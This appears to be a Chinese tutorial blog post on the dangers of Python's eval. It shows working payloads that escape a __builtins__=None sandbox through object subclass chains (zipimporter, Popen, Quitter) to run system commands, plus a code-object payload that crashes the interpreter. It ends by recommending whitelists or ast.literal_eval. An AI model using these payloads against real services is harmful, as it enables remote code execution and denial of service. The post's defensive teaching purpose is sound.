python 为什么说eval要慎用


Posted in Python onMarch 26, 2019

eval前言

In [1]: eval("2+3")
Out[1]: 5

In [2]: eval('[x for x in range(9)]')
Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]

当内存中的内置模块含有os的话,eval同样可以做到命令执行:

In [3]: import os

In [4]: eval("os.system('whoami')")
hy-201707271917\administrator
Out[4]: 0

当然,eval只能执行Python的表达式类型的代码,不能直接用它进行import操作,但exec可以。如果非要使用eval进行import,则使用__import__:

In [8]: eval("__import__('os').system('whoami')")
hy-201707271917\administrator
Out[8]: 0

在实际的代码中,往往有使用客户端数据带入eval中执行的需求。比如动态模块的引入,举个栗子,一个在线爬虫平台上爬虫可能有多个并且位于不同的模块中,服务器端但往往只需要调用用户在客户端选择的爬虫类型,并通过后端的exec或者eval进行动态调用,后端编码实现非常方便。但如果对用户的请求处理不恰当,就会造成严重的安全漏洞。

安全”使用eval

现在提倡最多的就是使用eval的后两个参数来设置函数的白名单:

Eval函数的声明为eval(expression[, globals[, locals]])

其中,第二三个参数分别指定能够在eval中使用的函数等,如果不指定,默认为globals()和locals()函数中 包含的模块和函数。

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
 File "", line 1, in 
 File "", line 1, in 
NameError: name 'os' is not defined

如果指定只允许调用abs函数,可以使用下面的写法:

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
 File "", line 1, in 
 File "", line 1, in 
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0

使用这种方法来防护,确实可以起到一定的作用,但是,这种处理方法可能会被绕过,从而造成其他问题!

绕过执行代码1

被绕过的情景如下,小明知道了eval会带来一定的安全风险,所以使用如下的手段去防止eval执行任意代码:

env = {}
env["locals"] = None
env["globals"] = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)

Python中的__builtins__是内置模块,用来设置内置函数的模块。比如熟悉的abs,open等内置函数,都是在该模块中以字典的方式存储的,下面两种写法是等价的:

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20

我们也可以自定义内置函数,并像使用Python中的内置函数一样使用它们:

>>> def hello():
...  print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi

小明将eval函数的作用域中的内置模块设置为None,好像看起来很彻底了,但依然可以被绕过。__builtins__是__builtin__的一个引用,在__main__模块下,两者是等价的:

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136

根据乌云drops提到的方法,使用如下代码即可:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

上面的代码首先利用__class__和__subclasses__动态加载了object对象,这是因为eval中无法直接使用object。然后使用object的子类的zipimporter对egg压缩文件中的configobj模块进行导入,并调用其内置模块中的os模块从而实现命令执行,当然,前提是要有configobj的egg文件。 configobj模块很有意思,居然内置了os模块:

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0

 和configobj类似的模块如urllib,urllib2,setuptools等都有os的内置,理论上使用哪个都行。 如果无法下载egg压缩文件,可以下载带有setup.py的文件夹,加入:

from setuptools import setup, find_packages

然后执行:

python setup.py bdist_egg

就可以在dist文件夹中找到对应的egg文件。 绕过demo如下:

>>> env = {}
>>> env["locals"] = None
>>> env["globals"] = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0

拒绝服务攻击1

object的子类中有很多有趣的东西,执行以下代码查看:

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

这里我就不输出结果了,如果你执行的话,可以看到很多有趣的模块,比如file,zipimporter,Quitter等。经过测试,file的构造函数是被解释器沙箱隔离的。 简单的,或者直接使object暴露出的子类Quitter进行退出:

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})

C:/>

如果运气好,遇到对方程序中导入了os等敏感模块,那么Popen就可以用,并且绕过__builins__为空的限制,例子如下:

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
 
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>

事实上,这种情况非常多,比如导入os模块,一般用来处理路径问题。所以说,遇到这种情况,完全可以列举大量的功能函数,来探测目标object的子类中是否含有一些危险的函数可以直接使用。

拒绝服务攻击2

同样,我们甚至可以绕过__builtins__为None,造成一次拒绝服务攻击,Payload(来自老外blog)如下:

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

运行上面的代码,Python直接crash掉了,造成拒绝服务攻击。 原理是通过嵌套的lambda来构造一片代码段,即code对象。为这个code对象分配空的栈,并给出相应的代码字符串,这里是KABOOM,在空栈上执行代码,会出现crash。构造完成后,调用fc函数即可触发,其思路不可谓不淫荡。

总结

从上面的内容我们可以看出,单单将内置模块置为空,是不够的,最好的机制是构造白名单,如果觉得比较麻烦,可以使用ast.literal_eval代替不安全的eval。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
闭包在python中的应用之translate和maketrans用法详解
Aug 27 Python
利用Python中的输入和输出功能进行读取和写入的教程
Apr 14 Python
python3实现短网址和数字相互转换的方法
Apr 28 Python
python中管道用法入门实例
Jun 04 Python
Python的math模块中的常用数学函数整理
Feb 04 Python
python中星号变量的几种特殊用法
Sep 07 Python
python fabric实现远程部署
Jan 05 Python
对Python正则匹配IP、Url、Mail的方法详解
Dec 25 Python
python 在某.py文件中调用其他.py内的函数的方法
Jun 25 Python
对django 2.x版本中models.ForeignKey()外键说明介绍
Mar 30 Python
详解python的xlwings库读写excel操作总结
Feb 26 Python
python 实现图与图之间的间距调整subplots_adjust
May 21 Python
Python eval的常见错误封装及利用原理详解
Mar 26 #Python
Python骚操作之动态定义函数
Mar 26 #Python
python 将有序数组转换为二叉树的方法
Mar 26 #Python
浅谈Python爬虫基本套路
Mar 25 #Python
我用Python抓取了7000 多本电子书案例详解
Mar 25 #Python
详解python:time模块用法
Mar 25 #Python
Python minidom模块用法示例【DOM写入和解析XML】
Mar 25 #Python
You might like
php 上一篇,下一篇文章实现代码与原理说明
2010/05/09 PHP
解析php中用PHPMailer来发送邮件的示例(126.com的例子)
2013/06/24 PHP
php读取本地文件常用函数(fopen与file_get_contents)
2013/09/09 PHP
php的curl封装类用法实例
2014/11/07 PHP
PHP生成随机码的思路与方法实例探索
2019/04/11 PHP
[原创]用javascript实现检测指定目录是否存在的方法
2008/01/12 Javascript
javascript 限制输入和粘贴(IE,firefox测试通过)
2008/11/14 Javascript
jQuery实现HTML表格单元格的合并功能
2016/04/06 Javascript
浅析JSONP技术原理及实现
2016/06/08 Javascript
BootStrap中Table分页插件使用详解
2016/10/09 Javascript
JS实现重新加载当前页面
2016/11/29 Javascript
AngularJS学习第二篇 AngularJS依赖注入
2017/02/13 Javascript
20行js代码实现的贪吃蛇小游戏
2017/06/20 Javascript
js实现canvas保存图片为png格式并下载到本地的方法
2017/08/31 Javascript
详解vue 实例方法和数据
2017/10/23 Javascript
Vue导出页面为PDF格式的实现思路
2018/07/31 Javascript
webpack的pitching loader详解
2019/09/23 Javascript
解决Vue.js应用回退或刷新界面时提示用户保存修改问题
2019/11/24 Javascript
JavaScript实现轮播图效果
2020/10/30 Javascript
vantUI 获得piker选中值的自定义ID操作
2020/11/04 Javascript
[01:57]DOTA2上海特锦赛小组赛解说单车采访花絮
2016/02/27 DOTA
[02:32]“虐狗”镜头慎点 2016国际邀请赛中国区预选赛现场玩家采访
2016/06/28 DOTA
Python走楼梯问题解决方法示例
2018/07/25 Python
wxPython的安装与使用教程
2018/08/31 Python
Python 一键获取百度网盘提取码的方法
2019/08/01 Python
基于Python词云分析政府工作报告关键词
2020/06/02 Python
Python colormap库的安装和使用详情
2020/10/06 Python
python录音并调用百度语音识别接口的示例
2020/12/01 Python
CSS3制作炫酷带方向感应的鼠标滑过图片3D动画
2016/03/16 HTML / CSS
Too Faced官网:美国知名彩妆品牌
2017/03/07 全球购物
Groupon西班牙官方网站:在线优惠券和交易,节省高达70%
2021/03/13 全球购物
亲子拓展活动方案
2014/02/20 职场文书
简单的辞职信模板
2015/05/12 职场文书
导游词之吉林花园山
2019/10/17 职场文书
什么是SOLID
2022/03/24 Javascript
Vue操作Storage本地化存储
2022/04/29 Vue.js